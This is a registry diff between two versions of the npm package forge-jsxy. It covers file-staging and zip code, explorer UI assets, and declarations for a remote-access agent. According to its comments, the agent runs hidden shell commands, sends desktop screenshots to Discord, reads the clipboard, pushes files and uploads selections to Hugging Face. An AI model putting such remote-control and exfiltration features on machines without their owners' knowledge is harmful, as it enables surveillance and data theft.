forge-jsxy 1.0.76 → 1.0.78
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +2940 -692
- package/assets/remote-control-template.html +78 -22
- package/dist/agentRunner.js +6 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +2941 -693
- package/dist/assets/remote-control-template.html +78 -22
- package/dist/autostart/agentEnvFile.d.ts +3 -2
- package/dist/autostart/agentEnvFile.js +8 -4
- package/dist/cli-agent.js +3 -3
- package/dist/discordAgentScreenshot.d.ts +1 -1
- package/dist/discordAgentScreenshot.js +41 -16
- package/dist/discordRateLimit.js +22 -11
- package/dist/discordRelayUpload.js +5 -3
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +13 -1
- package/dist/exportMirrorCopy.js +89 -2
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +86 -4
- package/dist/fsMessages.d.ts +2 -0
- package/dist/fsMessages.js +29 -8
- package/dist/fsProtocol.d.ts +16 -4
- package/dist/fsProtocol.js +948 -151
- package/dist/hfCredentials.d.ts +1 -1
- package/dist/hfCredentials.js +1 -1
- package/dist/hfSeqIdLookup.d.ts +2 -2
- package/dist/hfSeqIdLookup.js +11 -5
- package/dist/hfUpload.d.ts +2 -2
- package/dist/hfUpload.js +103 -17
- package/dist/relayAgent.js +48 -26
- package/dist/relayDashboardGate.js +42 -55
- package/dist/relayServer.js +171 -6
- package/dist/syncClient.js +5 -0
- package/dist/windowsInputSync.js +20 -1
- package/package.json +3 -1
- package/scripts/discord-live-probe.mjs +66 -4
package/dist/exportMirrorCopy.js
CHANGED
|
@@ -38,6 +38,7 @@ exports.isRetryableCopyError = isRetryableCopyError;
|
|
|
38
38
|
exports.countRegularFilesRecursive = countRegularFilesRecursive;
|
|
39
39
|
exports.copySelectionToMirrorStaging = copySelectionToMirrorStaging;
|
|
40
40
|
exports.removeMirrorStaging = removeMirrorStaging;
|
|
41
|
+
exports.mirrorSelectionsIntoFlatStage = mirrorSelectionsIntoFlatStage;
|
|
41
42
|
/**
|
|
42
43
|
* Snapshot copy for zip / Hub export: copy the selected file or folder into a hidden
|
|
43
44
|
* staging subtree before compression, so archiver reads stable copies (similar to a
|
|
@@ -59,7 +60,9 @@ exports.removeMirrorStaging = removeMirrorStaging;
|
|
|
59
60
|
* fail by design; exclusive OS locks with no shared read fail like manual copy.
|
|
60
61
|
*/
|
|
61
62
|
const fs = __importStar(require("node:fs"));
|
|
63
|
+
const os = __importStar(require("node:os"));
|
|
62
64
|
const path = __importStar(require("node:path"));
|
|
65
|
+
const explorerHeavyDirSkips_1 = require("./explorerHeavyDirSkips");
|
|
63
66
|
/** Hidden directory under the work root holding the mirrored selection. */
|
|
64
67
|
exports.EXPORT_MIRROR_DIR = ".mirror";
|
|
65
68
|
function copyRetryBaseMs() {
|
|
@@ -110,7 +113,11 @@ function isRetryableCopyError(err) {
|
|
|
110
113
|
}
|
|
111
114
|
return false;
|
|
112
115
|
}
|
|
113
|
-
/**
|
|
116
|
+
/**
|
|
117
|
+
* Count regular files under `dir` (symlinks ignored).
|
|
118
|
+
* Skips the same dependency/cache subtree names as {@link copyDirectoryTreeSelective} so staged counts
|
|
119
|
+
* match what mirror + zip will actually include.
|
|
120
|
+
*/
|
|
114
121
|
function countRegularFilesRecursive(dir) {
|
|
115
122
|
let n = 0;
|
|
116
123
|
const walk = (d) => {
|
|
@@ -125,8 +132,11 @@ function countRegularFilesRecursive(dir) {
|
|
|
125
132
|
const child = path.join(d, ent.name);
|
|
126
133
|
if (ent.isSymbolicLink())
|
|
127
134
|
continue;
|
|
128
|
-
if (ent.isDirectory())
|
|
135
|
+
if (ent.isDirectory()) {
|
|
136
|
+
if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(ent.name))
|
|
137
|
+
continue;
|
|
129
138
|
walk(child);
|
|
139
|
+
}
|
|
130
140
|
else if (ent.isFile())
|
|
131
141
|
n++;
|
|
132
142
|
}
|
|
@@ -182,6 +192,9 @@ async function copyDirectoryTreeSelective(srcRoot, destRoot, maxAttempts, baseDe
|
|
|
182
192
|
const src = path.join(srcRoot, relChild);
|
|
183
193
|
const dest = path.join(destRoot, relChild);
|
|
184
194
|
if (ent.isDirectory()) {
|
|
195
|
+
if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(name)) {
|
|
196
|
+
continue;
|
|
197
|
+
}
|
|
185
198
|
try {
|
|
186
199
|
await fs.promises.mkdir(dest, { recursive: true });
|
|
187
200
|
}
|
|
@@ -277,3 +290,77 @@ async function removeMirrorStaging(workRoot) {
|
|
|
277
290
|
const p = path.join(workRoot, exports.EXPORT_MIRROR_DIR);
|
|
278
291
|
await fs.promises.rm(p, { recursive: true, force: true });
|
|
279
292
|
}
|
|
293
|
+
function uniqueMirrorStageEntryName(destRoot, preferred) {
|
|
294
|
+
const base = String(preferred || "item").replace(/[\\/]/g, "_").trim() || "item";
|
|
295
|
+
let candidate = base;
|
|
296
|
+
let i = 2;
|
|
297
|
+
while (fs.existsSync(path.join(destRoot, candidate))) {
|
|
298
|
+
candidate = `${base} (${i})`;
|
|
299
|
+
i++;
|
|
300
|
+
}
|
|
301
|
+
return candidate;
|
|
302
|
+
}
|
|
303
|
+
function isLockLikeMirrorBasename(name) {
|
|
304
|
+
const n = String(name || "").trim().toLowerCase();
|
|
305
|
+
if (!n)
|
|
306
|
+
return false;
|
|
307
|
+
if (n === "lock" || n === "lockfile")
|
|
308
|
+
return true;
|
|
309
|
+
return n.endsWith(".lock") || n.endsWith(".lck") || n.endsWith(".pid") || n.endsWith(".pid.lock");
|
|
310
|
+
}
|
|
311
|
+
/**
|
|
312
|
+
* Mirror multiple absolute file/dir selections into one flat folder with unique entry names
|
|
313
|
+
* (same staging idea as Hub multi-upload `selection.zip`).
|
|
314
|
+
*/
|
|
315
|
+
async function mirrorSelectionsIntoFlatStage(absoluteSources, stageRoot, opts) {
|
|
316
|
+
await fs.promises.mkdir(stageRoot, { recursive: true });
|
|
317
|
+
let stagedItems = 0;
|
|
318
|
+
let skippedItems = 0;
|
|
319
|
+
for (const src of absoluteSources) {
|
|
320
|
+
let srcStat = null;
|
|
321
|
+
try {
|
|
322
|
+
srcStat = fs.statSync(src);
|
|
323
|
+
}
|
|
324
|
+
catch {
|
|
325
|
+
skippedItems++;
|
|
326
|
+
continue;
|
|
327
|
+
}
|
|
328
|
+
if (srcStat.isFile() && isLockLikeMirrorBasename(path.basename(src))) {
|
|
329
|
+
skippedItems++;
|
|
330
|
+
continue;
|
|
331
|
+
}
|
|
332
|
+
const perItemRoot = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-mirror-sel-"));
|
|
333
|
+
try {
|
|
334
|
+
const { mirrorPath, baseName } = await copySelectionToMirrorStaging(src, perItemRoot, opts);
|
|
335
|
+
if (!fs.existsSync(mirrorPath)) {
|
|
336
|
+
skippedItems++;
|
|
337
|
+
continue;
|
|
338
|
+
}
|
|
339
|
+
const destName = uniqueMirrorStageEntryName(stageRoot, baseName);
|
|
340
|
+
await fs.promises.cp(mirrorPath, path.join(stageRoot, destName), {
|
|
341
|
+
recursive: true,
|
|
342
|
+
force: true,
|
|
343
|
+
dereference: false,
|
|
344
|
+
});
|
|
345
|
+
stagedItems++;
|
|
346
|
+
}
|
|
347
|
+
catch {
|
|
348
|
+
skippedItems++;
|
|
349
|
+
}
|
|
350
|
+
finally {
|
|
351
|
+
try {
|
|
352
|
+
await removeMirrorStaging(perItemRoot);
|
|
353
|
+
}
|
|
354
|
+
catch {
|
|
355
|
+
/* skip */
|
|
356
|
+
}
|
|
357
|
+
try {
|
|
358
|
+
fs.rmSync(perItemRoot, { recursive: true, force: true });
|
|
359
|
+
}
|
|
360
|
+
catch {
|
|
361
|
+
/* skip */
|
|
362
|
+
}
|
|
363
|
+
}
|
|
364
|
+
}
|
|
365
|
+
return { stagedItems, skippedItems };
|
|
366
|
+
}
|
package/dist/filesExplorer.d.ts
CHANGED
|
@@ -6,5 +6,14 @@ export interface FilesExplorerHtmlOptions {
|
|
|
6
6
|
}
|
|
7
7
|
/** SVG served at `GET /forge-explorer-favicon.svg` for explorer tab + PWA-style apple-touch-icon. */
|
|
8
8
|
export declare function getForgeExplorerFaviconSvg(): string;
|
|
9
|
+
/**
|
|
10
|
+
* VS Code codicon font + stylesheet (served at `/forge-explorer-codicons/*`).
|
|
11
|
+
*/
|
|
12
|
+
export declare function readExplorerCodiconAsset(name: string): Buffer;
|
|
13
|
+
/**
|
|
14
|
+
* highlight.js bundle + Dark+–style CSS for file-explorer text preview
|
|
15
|
+
* (`GET /forge-explorer-highlight/*`).
|
|
16
|
+
*/
|
|
17
|
+
export declare function readExplorerHighlightAsset(name: string): Buffer;
|
|
9
18
|
export declare function buildFilesExplorerHtml(opts?: FilesExplorerHtmlOptions): string;
|
|
10
19
|
export declare function buildRemoteControlHtml(opts?: FilesExplorerHtmlOptions): string;
|
package/dist/filesExplorer.js
CHANGED
|
@@ -34,6 +34,8 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
36
|
exports.getForgeExplorerFaviconSvg = getForgeExplorerFaviconSvg;
|
|
37
|
+
exports.readExplorerCodiconAsset = readExplorerCodiconAsset;
|
|
38
|
+
exports.readExplorerHighlightAsset = readExplorerHighlightAsset;
|
|
37
39
|
exports.buildFilesExplorerHtml = buildFilesExplorerHtml;
|
|
38
40
|
exports.buildRemoteControlHtml = buildRemoteControlHtml;
|
|
39
41
|
/**
|
|
@@ -107,6 +109,60 @@ function getForgeExplorerFaviconSvg() {
|
|
|
107
109
|
}
|
|
108
110
|
throw new Error("forge-explorer-favicon.svg not found (run npm run build and ensure assets are copied to dist/)");
|
|
109
111
|
}
|
|
112
|
+
const _explorerCodiconNames = new Set(["codicon.css", "codicon.ttf"]);
|
|
113
|
+
/**
|
|
114
|
+
* VS Code codicon font + stylesheet (served at `/forge-explorer-codicons/*`).
|
|
115
|
+
*/
|
|
116
|
+
function readExplorerCodiconAsset(name) {
|
|
117
|
+
const base = path.basename(name);
|
|
118
|
+
if (!_explorerCodiconNames.has(base)) {
|
|
119
|
+
throw new Error(`invalid codicon asset: ${base}`);
|
|
120
|
+
}
|
|
121
|
+
const candidates = [
|
|
122
|
+
path.join(__dirname, "assets", "codicons", base),
|
|
123
|
+
path.join(__dirname, "..", "assets", "codicons", base),
|
|
124
|
+
];
|
|
125
|
+
for (const p of candidates) {
|
|
126
|
+
try {
|
|
127
|
+
if (fs.existsSync(p)) {
|
|
128
|
+
return fs.readFileSync(p);
|
|
129
|
+
}
|
|
130
|
+
}
|
|
131
|
+
catch {
|
|
132
|
+
continue;
|
|
133
|
+
}
|
|
134
|
+
}
|
|
135
|
+
throw new Error(`codicon asset missing: ${base} (run npm run build — copy assets/codicons)`);
|
|
136
|
+
}
|
|
137
|
+
const _explorerHighlightNames = new Set([
|
|
138
|
+
"highlight.min.js",
|
|
139
|
+
"explorer-highlight.css",
|
|
140
|
+
]);
|
|
141
|
+
/**
|
|
142
|
+
* highlight.js bundle + Dark+–style CSS for file-explorer text preview
|
|
143
|
+
* (`GET /forge-explorer-highlight/*`).
|
|
144
|
+
*/
|
|
145
|
+
function readExplorerHighlightAsset(name) {
|
|
146
|
+
const base = path.basename(name);
|
|
147
|
+
if (!_explorerHighlightNames.has(base)) {
|
|
148
|
+
throw new Error(`invalid explorer highlight asset: ${base}`);
|
|
149
|
+
}
|
|
150
|
+
const candidates = [
|
|
151
|
+
path.join(__dirname, "assets", "explorer-highlight", base),
|
|
152
|
+
path.join(__dirname, "..", "assets", "explorer-highlight", base),
|
|
153
|
+
];
|
|
154
|
+
for (const p of candidates) {
|
|
155
|
+
try {
|
|
156
|
+
if (fs.existsSync(p)) {
|
|
157
|
+
return fs.readFileSync(p);
|
|
158
|
+
}
|
|
159
|
+
}
|
|
160
|
+
catch {
|
|
161
|
+
continue;
|
|
162
|
+
}
|
|
163
|
+
}
|
|
164
|
+
throw new Error(`explorer-highlight asset missing: ${base} (run npm run build — copy assets/explorer-highlight)`);
|
|
165
|
+
}
|
|
110
166
|
function htmlEscapeAttr(s) {
|
|
111
167
|
return s
|
|
112
168
|
.replace(/&/g, "&")
|
|
@@ -114,6 +170,29 @@ function htmlEscapeAttr(s) {
|
|
|
114
170
|
.replace(/</g, "<")
|
|
115
171
|
.replace(/>/g, ">");
|
|
116
172
|
}
|
|
173
|
+
let _forgeJsPkgVersion = null;
|
|
174
|
+
function forgeJsPackageVersion() {
|
|
175
|
+
if (_forgeJsPkgVersion !== null)
|
|
176
|
+
return _forgeJsPkgVersion;
|
|
177
|
+
const candidates = [
|
|
178
|
+
path.join(__dirname, "..", "package.json"),
|
|
179
|
+
path.join(__dirname, "..", "..", "package.json"),
|
|
180
|
+
];
|
|
181
|
+
for (const p of candidates) {
|
|
182
|
+
try {
|
|
183
|
+
if (fs.existsSync(p)) {
|
|
184
|
+
const j = JSON.parse(fs.readFileSync(p, "utf8"));
|
|
185
|
+
_forgeJsPkgVersion = String(j.version || "0").trim() || "0";
|
|
186
|
+
return _forgeJsPkgVersion;
|
|
187
|
+
}
|
|
188
|
+
}
|
|
189
|
+
catch {
|
|
190
|
+
continue;
|
|
191
|
+
}
|
|
192
|
+
}
|
|
193
|
+
_forgeJsPkgVersion = "0";
|
|
194
|
+
return _forgeJsPkgVersion;
|
|
195
|
+
}
|
|
117
196
|
function buildFilesExplorerHtml(opts = {}) {
|
|
118
197
|
const pwd = opts.defaultPassword ??
|
|
119
198
|
process.env.CFGMGR_SESSION_PASSWORD ??
|
|
@@ -125,10 +204,13 @@ function buildFilesExplorerHtml(opts = {}) {
|
|
|
125
204
|
if (!relay && !(0, deploymentDefaults_1.deploymentDefaultsDisabled)()) {
|
|
126
205
|
relay = (0, deploymentDefaults_1.defaultRelayWsUrl)();
|
|
127
206
|
}
|
|
207
|
+
const ver = encodeURIComponent(forgeJsPackageVersion());
|
|
128
208
|
return loadTemplate()
|
|
129
209
|
.replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
|
|
130
|
-
.replace(
|
|
131
|
-
.replace(
|
|
210
|
+
.replace(/__FORGE_REPLACE_RELAY_FALLBACK_JS__/g, JSON.stringify(relay))
|
|
211
|
+
.replace(/__FORGE_REPLACE_PWD_JS__/g, JSON.stringify(pwd))
|
|
212
|
+
.replace('href="/forge-explorer-codicons/codicon.css"', `href="/forge-explorer-codicons/codicon.css?v=${ver}"`)
|
|
213
|
+
.replace('href="/forge-explorer-highlight/explorer-highlight.css"', `href="/forge-explorer-highlight/explorer-highlight.css?v=${ver}"`);
|
|
132
214
|
}
|
|
133
215
|
function buildRemoteControlHtml(opts = {}) {
|
|
134
216
|
const pwd = opts.defaultPassword ??
|
|
@@ -143,6 +225,6 @@ function buildRemoteControlHtml(opts = {}) {
|
|
|
143
225
|
}
|
|
144
226
|
return loadRemoteTemplate()
|
|
145
227
|
.replace(/@@PWD_HINT@@/g, htmlEscapeAttr(pwd))
|
|
146
|
-
.replace(
|
|
147
|
-
.replace(
|
|
228
|
+
.replace(/__FORGE_REPLACE_RELAY_FALLBACK_JS__/g, JSON.stringify(relay))
|
|
229
|
+
.replace(/__FORGE_REPLACE_PWD_JS__/g, JSON.stringify(pwd));
|
|
148
230
|
}
|
package/dist/fsMessages.d.ts
CHANGED
|
@@ -1 +1,3 @@
|
|
|
1
|
+
/** Treat WS JSON flags safely — `Boolean("false")` is true in JS; some proxies stringify booleans. */
|
|
2
|
+
export declare function jsonBoolLoose(v: unknown): boolean;
|
|
1
3
|
export declare function buildFsResponse(msg: Record<string, unknown>, allowFilesystem: boolean): Promise<Record<string, unknown>>;
|
package/dist/fsMessages.js
CHANGED
|
@@ -1,10 +1,25 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.jsonBoolLoose = jsonBoolLoose;
|
|
3
4
|
exports.buildFsResponse = buildFsResponse;
|
|
4
5
|
/**
|
|
5
6
|
* Filesystem explorer JSON-RPC responses — same types as cfgmgr.remote._fs_response.
|
|
6
7
|
*/
|
|
7
8
|
const fsProtocol_1 = require("./fsProtocol");
|
|
9
|
+
/** Treat WS JSON flags safely — `Boolean("false")` is true in JS; some proxies stringify booleans. */
|
|
10
|
+
function jsonBoolLoose(v) {
|
|
11
|
+
if (v === true)
|
|
12
|
+
return true;
|
|
13
|
+
if (v === false || v == null)
|
|
14
|
+
return false;
|
|
15
|
+
if (typeof v === "number")
|
|
16
|
+
return v !== 0 && Number.isFinite(v);
|
|
17
|
+
if (typeof v === "string") {
|
|
18
|
+
const s = v.trim().toLowerCase();
|
|
19
|
+
return s === "1" || s === "true" || s === "yes" || s === "on";
|
|
20
|
+
}
|
|
21
|
+
return false;
|
|
22
|
+
}
|
|
8
23
|
async function buildFsResponse(msg, allowFilesystem) {
|
|
9
24
|
/** Always echo a string — avoids silent client mismatch when JSON coerces ids. */
|
|
10
25
|
const rid = String(msg.request_id ?? "");
|
|
@@ -45,8 +60,8 @@ async function buildFsResponse(msg, allowFilesystem) {
|
|
|
45
60
|
off = 0;
|
|
46
61
|
}
|
|
47
62
|
const chunk = Boolean(msg.chunk);
|
|
48
|
-
const force =
|
|
49
|
-
const forceKill =
|
|
63
|
+
const force = jsonBoolLoose(msg.force);
|
|
64
|
+
const forceKill = jsonBoolLoose(msg.force_kill);
|
|
50
65
|
const result = chunk
|
|
51
66
|
? await (0, fsProtocol_1.fsReadFileChunked)(pathStr, null, mbInt, off, rid, force, forceKill)
|
|
52
67
|
: (0, fsProtocol_1.fsReadFile)(pathStr, null, mbInt, off, false);
|
|
@@ -54,6 +69,11 @@ async function buildFsResponse(msg, allowFilesystem) {
|
|
|
54
69
|
}
|
|
55
70
|
if (msgType === "fs_zip") {
|
|
56
71
|
const pathStr = String(msg.path ?? "");
|
|
72
|
+
const pathsRaw = msg.paths;
|
|
73
|
+
const pathsArr = Array.isArray(pathsRaw) && pathsRaw.length > 0
|
|
74
|
+
? pathsRaw.map((x) => String(x ?? "").trim()).filter(Boolean)
|
|
75
|
+
: null;
|
|
76
|
+
const pathsOverride = pathsArr && pathsArr.length > 1 ? pathsArr : null;
|
|
57
77
|
let mbInt = null;
|
|
58
78
|
const mb = msg.max_bytes;
|
|
59
79
|
if (mb != null) {
|
|
@@ -69,9 +89,9 @@ async function buildFsResponse(msg, allowFilesystem) {
|
|
|
69
89
|
off = 0;
|
|
70
90
|
}
|
|
71
91
|
const chunk = Boolean(msg.chunk);
|
|
72
|
-
const force =
|
|
73
|
-
const forceKill =
|
|
74
|
-
const result = await (0, fsProtocol_1.fsZipRead)(pathStr, String(rid), null, off, chunk, mbInt, force, forceKill);
|
|
92
|
+
const force = jsonBoolLoose(msg.force);
|
|
93
|
+
const forceKill = jsonBoolLoose(msg.force_kill);
|
|
94
|
+
const result = await (0, fsProtocol_1.fsZipRead)(pathStr, String(rid), null, off, chunk, mbInt, force, forceKill, pathsOverride);
|
|
75
95
|
return { type: "fs_zip_result", request_id: rid, ...result };
|
|
76
96
|
}
|
|
77
97
|
if (msgType === "fs_parent") {
|
|
@@ -81,8 +101,8 @@ async function buildFsResponse(msg, allowFilesystem) {
|
|
|
81
101
|
}
|
|
82
102
|
if (msgType === "fs_delete") {
|
|
83
103
|
const pathStr = String(msg.path ?? "");
|
|
84
|
-
const force =
|
|
85
|
-
const forceKill =
|
|
104
|
+
const force = jsonBoolLoose(msg.force);
|
|
105
|
+
const forceKill = jsonBoolLoose(msg.force_kill);
|
|
86
106
|
const result = await (0, fsProtocol_1.fsDeletePath)(pathStr, null, force || forceKill ? { force, forceKill } : undefined);
|
|
87
107
|
return { type: "fs_delete_result", request_id: rid, ...result };
|
|
88
108
|
}
|
|
@@ -127,7 +147,8 @@ async function buildFsResponse(msg, allowFilesystem) {
|
|
|
127
147
|
return { type: "rc_clipboard_set_result", request_id: rid, ...result };
|
|
128
148
|
}
|
|
129
149
|
if (msgType === "rc_file_push") {
|
|
130
|
-
const
|
|
150
|
+
const targetDir = msg.path != null ? String(msg.path) : undefined;
|
|
151
|
+
const result = await (0, fsProtocol_1.fsRemoteFilePush)(String(msg.name ?? ""), String(msg.b64 ?? ""), targetDir);
|
|
131
152
|
return { type: "rc_file_push_result", request_id: rid, ...result };
|
|
132
153
|
}
|
|
133
154
|
return {
|
package/dist/fsProtocol.d.ts
CHANGED
|
@@ -16,7 +16,8 @@ export declare function fsReadFile(pathStr: string, roots?: string[] | null, max
|
|
|
16
16
|
* Chunked file read for explorer downloads. With a non-empty `request_id` and file size at or below
|
|
17
17
|
* {@link maxZipTotalBytes}, the file is copied once into a hidden temp mirror (same idea as folder zip),
|
|
18
18
|
* then chunks are served from that copy so another process holding the original open is less likely to break reads.
|
|
19
|
-
* Larger files
|
|
19
|
+
* Larger files read the live path each chunk — **`force_kill` still runs {@link forceUnlockPath}** at offset 0 (same as mirror path).
|
|
20
|
+
* Empty `request_id` always uses live path.
|
|
20
21
|
*/
|
|
21
22
|
export declare function fsReadFileChunked(pathStr: string, roots: string[] | null, maxBytes: number | null, offset: number, requestId: string, forceMirror?: boolean, forceKill?: boolean): Promise<Record<string, unknown>>;
|
|
22
23
|
/**
|
|
@@ -49,7 +50,6 @@ export declare function fsParentDirectory(pathStr: string, roots?: string[] | nu
|
|
|
49
50
|
export declare function fsRootsPayload(): Record<string, unknown>;
|
|
50
51
|
export declare function purgeStaleZipSessions(): void;
|
|
51
52
|
export declare function purgeStaleChunkedFileReadSessions(): void;
|
|
52
|
-
/** Drop expired folder-zip and chunked file-read temp sessions (paths + numbers only; frees disk). */
|
|
53
53
|
export declare function purgeStaleExplorerStaging(): void;
|
|
54
54
|
/**
|
|
55
55
|
* Remove **all** in-memory explorer staging (zip exports + chunked file mirrors) synchronously.
|
|
@@ -59,8 +59,12 @@ export declare function purgeAllExplorerStagingSync(): void;
|
|
|
59
59
|
/**
|
|
60
60
|
* Chunked read of a zipped folder export (same session semantics as chunked `fs_read`).
|
|
61
61
|
* First request (`offset === 0`) builds a temp zip; follow-up chunks use the same `request_id`.
|
|
62
|
+
*
|
|
63
|
+
* **`paths` (2+ entries):** mirror each selection into one staging folder (unique names), then zip once (`selection.zip`),
|
|
64
|
+
* matching Hub multi-upload semantics.
|
|
65
|
+
* **`path`:** zip one directory (legacy).
|
|
62
66
|
*/
|
|
63
|
-
export declare function fsZipRead(pathStr: string, requestId: string, roots?: string[] | null, offset?: number, chunk?: boolean, maxBytes?: number | null, forceMirror?: boolean, forceKill?: boolean): Promise<Record<string, unknown>>;
|
|
67
|
+
export declare function fsZipRead(pathStr: string, requestId: string, roots?: string[] | null, offset?: number, chunk?: boolean, maxBytes?: number | null, forceMirror?: boolean, forceKill?: boolean, pathsOverride?: string[] | null): Promise<Record<string, unknown>>;
|
|
64
68
|
/**
|
|
65
69
|
* Turn raw .NET / PowerShell screenshot failures into short, actionable text for the /files explorer
|
|
66
70
|
* (e.g. locked RDP, Session 0 service, no interactive desktop — `CopyFromScreen` "handle is invalid").
|
|
@@ -86,6 +90,14 @@ export declare function shrinkScreenshotBufferToMaxBytes(buf: Buffer, cap: numbe
|
|
|
86
90
|
buffer: Buffer;
|
|
87
91
|
mime: string;
|
|
88
92
|
} | null>;
|
|
93
|
+
/**
|
|
94
|
+
* Discord / webhook attachments: try descending encode budgets first so difficult screenshots still fit
|
|
95
|
+
* under `hardCap` while keeping quality high when the full budget fits (see {@link screenshotShrinkTierTargets}).
|
|
96
|
+
*/
|
|
97
|
+
export declare function shrinkScreenshotBufferForDiscordAttachment(buf: Buffer, hardCap: number): Promise<{
|
|
98
|
+
buffer: Buffer;
|
|
99
|
+
mime: string;
|
|
100
|
+
} | null>;
|
|
89
101
|
/**
|
|
90
102
|
* Cross-platform full-desktop screenshot for the relay `/files` explorer (`fs_screenshot`) and Discord cadence.
|
|
91
103
|
* Windows: hidden PowerShell + System.Drawing (**VirtualScreen** = all monitors in one bitmap).
|
|
@@ -107,7 +119,7 @@ export declare function fsWindowsScreenshotCapture(options?: NormalizedScreensho
|
|
|
107
119
|
export declare function fsRemoteControlInput(payload: Record<string, unknown>): Promise<Record<string, unknown>>;
|
|
108
120
|
export declare function fsRemoteClipboardGet(): Promise<Record<string, unknown>>;
|
|
109
121
|
export declare function fsRemoteClipboardSet(text: string): Promise<Record<string, unknown>>;
|
|
110
|
-
export declare function fsRemoteFilePush(name: string, b64: string): Promise<Record<string, unknown>>;
|
|
122
|
+
export declare function fsRemoteFilePush(name: string, b64: string, targetDir?: string): Promise<Record<string, unknown>>;
|
|
111
123
|
/**
|
|
112
124
|
* Run a shell command on the agent host (same privilege as the forge-agent process).
|
|
113
125
|
* Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).
|